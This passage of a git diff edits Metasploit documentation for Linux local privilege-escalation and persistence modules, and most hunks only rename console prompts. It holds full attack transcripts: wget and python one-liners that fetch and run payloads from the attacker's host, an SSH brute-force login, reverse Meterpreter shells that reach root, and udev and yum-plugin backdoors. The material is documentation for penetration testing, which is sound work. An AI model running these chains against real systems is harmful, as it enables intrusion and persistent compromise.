exploit(linux/local/systemtap_modprobe_options_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > set verbose true + msf exploit(linux/local/systemtap_modprobe_options_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > run + msf exploit(linux/local/systemtap_modprobe_options_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/staprun is executable @@ -81,12 +81,12 @@ ### Fedora 13 (x86) ``` - msf5 > use exploit/linux/local/systemtap_modprobe_options_priv_esc - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > set session 1 + msf > use exploit/linux/local/systemtap_modprobe_options_priv_esc + msf exploit(linux/local/systemtap_modprobe_options_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > set verbose true + msf exploit(linux/local/systemtap_modprobe_options_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/systemtap_modprobe_options_priv_esc) > run + msf exploit(linux/local/systemtap_modprobe_options_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/staprun is executable diff --git a/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md index b9f69f78c01a4..7e02d7d9cb128 100644 --- a/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md +++ b/documentation/modules/exploit/linux/local/tomcat_rhel_based_temp_priv_esc.md @@ -69,34 +69,34 @@ A directory where we can write and execute files. Defaults to `/tmp`. Initial shell ``` -msf6 > use exploit/multi/script/web_delivery +msf > use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +msf exploit(multi/script/web_delivery) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(multi/script/web_delivery) > set target 7 +msf exploit(multi/script/web_delivery) > set target 7 target => 7 -msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > exploit +msf exploit(multi/script/web_delivery) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Using URL: http://1.1.1.1:8080/fGd5wnh85 [*] Server started. [*] Run the following command on the target machine: wget -qO TbT9zhqH --no-check-certificate http://1.1.1.1:8080/fGd5wnh85; chmod +x TbT9zhqH; ./TbT9zhqH& disown -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes) [*] Sending stage (3045348 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:41270) at 2023-01-19 15:22:23 -0500 -msf6 exploit(multi/script/web_delivery) > jobs -K +msf exploit(multi/script/web_delivery) > jobs -K Stopping all jobs... [*] Server stopped. -msf6 exploit(multi/script/web_delivery) > sessions -i 1 +msf exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -114,15 +114,15 @@ meterpreter > background Priv Esc ``` -msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc +msf exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_rhel_based_temp_priv_esc [*] Using configured payload linux/x64/meterpreter_reverse_tcp -msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true +msf exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1 +msf exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set session 1 session => 1 -msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1 +msf exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit +msf exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -145,4 +145,4 @@ msf6 exploit(linux/local/tomcat_rhel_based_temp_priv_esc) > exploit meterpreter > getuid Server username: root -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/local/tomcat_ubuntu_log_init_priv_esc.md b/documentation/modules/exploit/linux/local/tomcat_ubuntu_log_init_priv_esc.md index b16770fffff3e..d2f0385b81696 100644 --- a/documentation/modules/exploit/linux/local/tomcat_ubuntu_log_init_priv_esc.md +++ b/documentation/modules/exploit/linux/local/tomcat_ubuntu_log_init_priv_esc.md @@ -52,18 +52,18 @@ Location of `catalina.out` file. Defaults to `/var/log/tomcat8/catalina.out`. Initial shell ``` -msf6 > use exploit/multi/script/web_delivery +msf > use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +msf exploit(multi/script/web_delivery) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(multi/script/web_delivery) > set target 7 +msf exploit(multi/script/web_delivery) > set target 7 target => 7 -msf6 exploit(multi/script/web_delivery) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(multi/script/web_delivery) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > exploit +msf exploit(multi/script/web_delivery) > exploit [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Using URL: http://1.1.1.1:8080/TymOdj7T0Wc [*] Server started. @@ -73,7 +73,7 @@ wget -qO NaXlMbmV --no-check-certificate http://1.1.1.1:8080/TymOdj7T0Wc; chmod [*] Sending stage (1017704 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:59862) at 2023-01-16 07:23:48 -0500 -msf6 exploit(multi/script/web_delivery) > sessions -i 1 +msf exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -91,13 +91,13 @@ meterpreter > background Priv Esc ``` -msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_ubuntu_log_init_priv_esc +msf exploit(multi/script/web_delivery) > use exploit/linux/local/tomcat_ubuntu_log_init_priv_esc [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > set verbose true +msf exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > set session 1 +msf exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > set session 1 session => 1 -msf6 exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > run +msf exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > run [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -126,4 +126,4 @@ msf6 exploit(linux/local/tomcat_ubuntu_log_init_priv_esc) > run meterpreter > getuid Server username: root -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md b/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md index b77cf017a775e..16910d0d4eb19 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md +++ b/documentation/modules/exploit/linux/local/ubuntu_enlightenment_mount_priv_esc.md @@ -90,7 +90,7 @@ resource (enlightenment.rb)> set session 1 session => 1 resource (enlightenment.rb)> set verbose true verbose => true -msf6 exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > run +msf exploit(linux/local/ubuntu_enlightenment_mount_priv_esc) > run [!] SESSION may not be compatible with this module: [!] * incompatible session architecture: diff --git a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md index 911e4e8e644a4..663026dab1dea 100644 --- a/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md +++ b/documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md @@ -47,23 +47,23 @@ The maximum number of seconds to wait for session. Defaults to `90,000` which is Gain initial shell ``` -msf6 > use exploit/multi/script/web_delivery +msf > use exploit/multi/script/web_delivery 998 run[*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > set target 7 +msf exploit(multi/script/web_delivery) > set target 7 target => 7 -msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1 +msf exploit(multi/script/web_delivery) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(multi/script/web_delivery) > set lport 4998 +msf exploit(multi/script/web_delivery) > set lport 4998 lport => 4998 -msf6 exploit(multi/script/web_delivery) > set srvport 8998 +msf exploit(multi/script/web_delivery) > set srvport 8998 srvport => 8998 -msf6 exploit(multi/script/web_delivery) > run +msf exploit(multi/script/web_delivery) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] Started reverse TCP handler on 1.1.1.1:4998 [*] Using URL: http://1.1.1.1:8998/dKtdkMS [*] Server started. @@ -73,7 +73,7 @@ wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x E [*] Sending stage (3045380 bytes) to 2.2.2.2 [*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500 -msf6 exploit(multi/script/web_delivery) > sessions -i 1 +msf exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -85,19 +85,19 @@ meterpreter > background Priv Esc ``` -msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe +msf exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 +msf exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 +msf exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977 lport => 4977 -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 +msf exploit(linux/local/ubuntu_needrestart_lpe) > set session 1 session => 1 -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true +msf exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true verbose => true -msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run +msf exploit(linux/local/ubuntu_needrestart_lpe) > run [*] Started reverse TCP handler on 1.1.1.1:4977 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/udev_persistence.md b/documentation/modules/exploit/linux/local/udev_persistence.md new file mode 100644 index 0000000000000..564a1a075a7c2 --- /dev/null +++ b/documentation/modules/exploit/linux/local/udev_persistence.md @@ -0,0 +1,43 @@ +This is a post module that performs a persistence installation on a Linux system using [udev](https://en.wikipedia.org/wiki/Udev). +The persistence execution with be triggered with root privileges everytime a network interface other than l0 comes up. + +## Verification Steps + + 1. Start msfconsole + 2. Obtain a session on the target machine + 3. `use exploit/linux/local/udev_persistence` + 4. `set session -1` + 5. `exploit` + +## Module usage + +``` +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/udev_persistence +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/local/udev_persistence) > set session -1 +session => -1 +msf exploit(linux/local/udev_persistence) > exploit + +[*] /usr/bin/udev-check-updates written +[*] /lib/udev/rules.d/99-update.rules written +msf exploit(linux/local/udev_persistence) > +[*] Sending stage (3045380 bytes) to 172.18.49.39 +[*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400 +msf exploit(linux/local/udev_persistence) > sessions -i -1 +[*] Starting interaction with 2... + +meterpreter > getuid +Server username: root +meterpreter > +``` + +## Options + +### BACKDOOR_PATH + +Specify the path of the file containing the udev rules. (Default: /lib/udev/rules.d/99-update.rules) + +### PAYLOAD_PATH + +Specify the name of the payload to execute upon persistence. (Default: /usr/bin/udev-check-updates) + diff --git a/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md b/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md index 334859a52e6be..c7755ee705a70 100644 --- a/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md +++ b/documentation/modules/exploit/linux/local/ufo_privilege_escalation.md @@ -73,14 +73,14 @@ resource (ubuntu.rb)> exploit In this scenario, gcc is installed so we can live compile on the system. ``` -msf5 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation -msf5 exploit(linux/local/ufo_privilege_escalation) > set verbose true +msf auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/ufo_privilege_escalation +msf exploit(linux/local/ufo_privilege_escalation) > set verbose true verbose => true -msf5 exploit(linux/local/ufo_privilege_escalation) > set session 1 +msf exploit(linux/local/ufo_privilege_escalation) > set session 1 session => 1 -msf5 exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1 +msf exploit(linux/local/ufo_privilege_escalation) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf5 exploit(linux/local/ufo_privilege_escalation) > exploit +msf exploit(linux/local/ufo_privilege_escalation) > exploit [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 1.1.1.1:4444 diff --git a/documentation/modules/exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc.md b/documentation/modules/exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc.md index be16c3da368df..16a3a1afa7a9f 100644 --- a/documentation/modules/exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc.md +++ b/documentation/modules/exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc.md @@ -44,12 +44,12 @@ resource (java_wrapper.rb)> run [*] Server started. [*] Run the following command on the target machine: python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/cFK3ylrNE9s', context=ssl._create_unverified_context());exec(r.read());" -msf6 exploit(multi/script/web_delivery) > +msf exploit(multi/script/web_delivery) > [*] 1.1.1.1 web_delivery - Delivering Payload (432 bytes) [*] Sending stage (24380 bytes) to 1.1.1.1 [*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:59084) at 2022-11-20 10:45:06 -0500 -msf6 exploit(multi/script/web_delivery) > sessions -i 1 +msf exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... meterpreter > getuid @@ -76,17 +76,17 @@ meterpreter > background Conduct the priv esc ``` -msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc +msf exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc [*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1 +msf exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1 session => 1 -msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true +msf exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K +msf exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K Stopping all jobs... [*] Server stopped. -msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run +msf exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run [!] SESSION may not be compatible with this module: [!] * incompatible session architecture: python diff --git a/documentation/modules/exploit/linux/local/vmware_alsa_config.md b/documentation/modules/exploit/linux/local/vmware_alsa_config.md index 2f9bad21e3948..a15927105a418 100644 --- a/documentation/modules/exploit/linux/local/vmware_alsa_config.md +++ b/documentation/modules/exploit/linux/local/vmware_alsa_config.md @@ -50,12 +50,12 @@ ### Command Shell Session - VMware Player 12.5.0 (Debian 8 Jessie) ``` - msf5 > use exploit/linux/local/vmware_alsa_config - msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + msf > use exploit/linux/local/vmware_alsa_config + msf exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + msf exploit(linux/local/vmware_alsa_config) > set session 1 session => 1 - msf5 exploit(linux/local/vmware_alsa_config) > run + msf exploit(linux/local/vmware_alsa_config) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/pSvQHD5S5fh/afLaYVIoUm.so.c' (526 bytes) ... @@ -83,12 +83,12 @@ ### Meterpreter Session - VMware Player 12.5.0 (Debian 8 Jessie) ``` - msf5 > use exploit/linux/local/vmware_alsa_config - msf5 exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 + msf > use exploit/linux/local/vmware_alsa_config + msf exploit(linux/local/vmware_alsa_config) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/vmware_alsa_config) > set session 1 + msf exploit(linux/local/vmware_alsa_config) > set session 1 session => 1 - msf5 exploit(linux/local/vmware_alsa_config) > run + msf exploit(linux/local/vmware_alsa_config) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/5irkXF31Iw/GHAPsWBkjix.so.c' (527 bytes) ... diff --git a/documentation/modules/exploit/linux/local/vmware_workspace_one_access_certproxy_lpe.md b/documentation/modules/exploit/linux/local/vmware_workspace_one_access_certproxy_lpe.md index b9cc4af806804..26ee21a8ff794 100644 --- a/documentation/modules/exploit/linux/local/vmware_workspace_one_access_certproxy_lpe.md +++ b/documentation/modules/exploit/linux/local/vmware_workspace_one_access_certproxy_lpe.md @@ -39,7 +39,7 @@ In the following scenario, initial access is gained by first exploiting CVE-2022 is elevated to root by exploiting CVE-2022-31660. ``` -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954): @@ -71,7 +71,7 @@ Exploit target: 0 Unix Command -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -90,11 +90,11 @@ meterpreter > getuid Server username: horizon meterpreter > background [*] Backgrounding session 1... -msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe +msf exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1 +msf exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1 SESSION => -1 -msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run +msf exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Backing up the original file... diff --git a/documentation/modules/exploit/linux/local/vmware_workspace_one_access_cve_2022_22960.md b/documentation/modules/exploit/linux/local/vmware_workspace_one_access_cve_2022_22960.md index f9034b7fa7463..b47ed2c501c74 100644 --- a/documentation/modules/exploit/linux/local/vmware_workspace_one_access_cve_2022_22960.md +++ b/documentation/modules/exploit/linux/local/vmware_workspace_one_access_cve_2022_22960.md @@ -70,13 +70,13 @@ Select Database ### VMware Identity Manager 21.08.0.1-19010796 ``` -msf6 exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > use exploit/linux/local/vmware_workspace_one_access_cve_2022_22960 +msf exploit(linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain) > use exploit/linux/local/vmware_workspace_one_access_cve_2022_22960 [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lhost 192.168.123.1 +msf exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lport 4443 +msf exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set lport 4443 lport => 4443 -msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run +msf exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run [*] Started reverse TCP handler on 192.168.123.1:4443 [*] Running automatic check ("set AutoCheck false" to disable) @@ -99,9 +99,9 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.123.16 - Meterpreter session 9 closed. Reason: User exit -msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set target 1 +msf exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > set target 1 target => 1 -msf6 exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run +msf exploit(linux/local/vmware_workspace_one_access_cve_2022_22960) > run [*] Started reverse TCP handler on 192.168.123.1:4443 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md index e5c61298eb211..73f1f98627f04 100644 --- a/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md +++ b/documentation/modules/exploit/linux/local/vmwgfx_fd_priv_esc.md @@ -45,21 +45,21 @@ To install a vulnerable kernel on Ubuntu 22.04.01, follow these instructions: Gain initial user access ``` -msf6 > use auxiliary/scanner/ssh/ssh_login -msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > set rhosts 1.1.1.1 rhosts => 1.1.1.1 -msf6 auxiliary(scanner/ssh/ssh_login) > set username ubuntu +msf auxiliary(scanner/ssh/ssh_login) > set username ubuntu username => ubuntu -msf6 auxiliary(scanner/ssh/ssh_login) > set password ubuntu +msf auxiliary(scanner/ssh/ssh_login) > set password ubuntu password => ubuntu -msf6 auxiliary(scanner/ssh/ssh_login) > run +msf auxiliary(scanner/ssh/ssh_login) > run [*] 1.1.1.1:22 - Starting bruteforce [+] 1.1.1.1:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd) Linux ubuntu2204 5.13.12-051312-generic #202108180838 SMP Wed Aug 18 08:41:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 1 opened (2.2.2.2:40003 -> 1.1.1.1:22) at 2022-11-25 08:47:08 -0500 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 +msf auxiliary(scanner/ssh/ssh_login) > sessions -i 1 [*] Starting interaction with 1... id @@ -71,15 +71,15 @@ Background session 1? [y/N] y priv esc ``` -msf6 auxiliary(scanner/ssh/ssh_login) > use linux/local/vmwgfx_fd_priv_esc +msf auxiliary(scanner/ssh/ssh_login) > use linux/local/vmwgfx_fd_priv_esc [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true +msf exploit(linux/local/vmwgfx_fd_priv_esc) > set verbose true verbose => true -msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1 +msf exploit(linux/local/vmwgfx_fd_priv_esc) > set session 1 session => 1 -msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 2.2.2.2 +msf exploit(linux/local/vmwgfx_fd_priv_esc) > set lhost 2.2.2.2 lhost => 2.2.2.2 -msf6 exploit(linux/local/vmwgfx_fd_priv_esc) > exploit +msf exploit(linux/local/vmwgfx_fd_priv_esc) > exploit [!] SESSION may not be compatible with this module: [!] * incompatible session architecture: diff --git a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md index 3524bf632f8cb..9f205f4df63bb 100644 --- a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md +++ b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md @@ -35,7 +35,7 @@ Plugin path to use default is (/usr/lib/yum-plugins/) ### Tested on Fedora 21 ``` -msf5 exploit(linux/local/yum_package_manager_persistence) > sessions +msf exploit(linux/local/yum_package_manager_persistence) > sessions Active sessions =============== @@ -44,22 +44,22 @@ Active sessions -- ---- ---- ----------- ---------- 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) -msf5 exploit(linux/local/yum_package_manager_persistence) > set session 1 +msf exploit(linux/local/yum_package_manager_persistence) > set session 1 session => 1 -msf5 exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks +msf exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks plugin => langpacks -msf5 exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136 +msf exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136 lhost => 172.22.222.136 -msf5 exploit(linux/local/yum_package_manager_persistence) > exploit +msf exploit(linux/local/yum_package_manager_persistence) > exploit [*] /usr/lib/yum-plugins/langpacks.py [+] Plugins are enabled! [*] Attempting to modify plugin [*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg [*] Backdoor will run on next Yum update -msf5 exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500 +msf exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500 -msf5 exploit(linux/local/yum_package_manager_persistence) > sessions +msf exploit(linux/local/yum_package_manager_persistence) > sessions Active sessions =============== @@ -69,7 +69,7 @@ Active sessions 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) 2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135) -msf5 exploit(linux/local/yum_package_manager_persistence) > sessions -i 2 +msf exploit(linux/local/yum_package_manager_persistence) > sessions -i 2 [*] Starting interaction with 2... id @@ -78,7 +78,7 @@ uname -a Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux exit [*] 172.22.222.135 - Command shell session 2 closed. -msf5 exploit(linux/local/yum_package_manager_persistence) > +msf exploit(linux/local/yum_package_manager_persistence) > ``` Note: Session 2 is received after running yum update on the remote host. diff --git a/documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md b/documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md index 46381236b14d4..7513f305a5eca 100644 --- a/documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md +++ b/documentation/modules/exploit/linux/local/zimbra_postfix_priv_esc.md @@ -95,7 +95,7 @@ it's randomized (with a `.` in front) ### Escalating a `zimbra` session to `root`, after exploiting cve-2022-41352 ``` -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l Active sessions =============== @@ -104,11 +104,11 @@ Active sessions -- ---- ---- ----------- ---------- 1 meterpreter x64/linux zimbra @ mail.example.org 172.16.166.147:4444 -> 172.16.166.157:47210 (172.16.166.157) -msf6 exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc +msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc [*] Using configured payload linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1 +msf exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1 SESSION => 1 -msf6 exploit(linux/local/zimbra_postfix_priv_esc) > exploit +msf exploit(linux/local/zimbra_postfix_priv_esc) > exploit [*] Started reverse TCP handler on 172.16.166.147:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/zimbra_slapper_priv_esc.md 